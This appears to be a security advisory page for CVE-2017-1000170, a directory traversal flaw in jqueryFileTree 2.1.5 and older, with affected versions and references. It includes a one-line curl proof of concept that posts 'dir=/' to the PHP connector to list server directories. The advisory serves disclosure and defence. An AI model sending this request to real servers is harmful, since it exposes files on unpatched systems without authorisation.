high7.5Public exploit code
CVE-2017-1000170
jqueryFileTree vulnerable to Directory Traversal
Public exploit code
Working exploit or proof of concept code has been published for this vulnerability. Treat unpatched systems as at risk.
- WordPress Plugin Delightful Downloads Jquery File Tree 1.6.6 - Path Traversal2021-03-22 · webapps · php
Impact
jqueryFileTree 2.1.5 and older is vulnerable to Directory Traversal ### POC: ```bash curl 'http://localhost:8000/js/jqueryfiletree-2.1.5/dist/connectors/jqueryFileTree.php' -H 'Referer: xxx' -d "dir=/" ```
Affected packages
| Ecosystem | Package | Affected | Fixed in |
|---|---|---|---|
| npm | jqueryfiletree | <= 2.1.5 | none recorded |
Affected products
| Vendor | Product | Affected versions |
|---|---|---|
| Jqueryfiletree Project | Jqueryfiletree | through 2.1.5 |
Weakness classification
References
- NVD record
- CVE.org record
- GitHub advisory
- http://packetstormsecurity.com/files/161900/WordPress-Delightful-Downloads-Jquery-File-Tree-1.6.6-Path-Traversal.html
- https://github.com/jqueryfiletree/jqueryfiletree/issues/66
- https://github.com/advisories/GHSA-p739-9479-5wr2
- https://nvd.nist.gov/vuln/detail/CVE-2017-1000170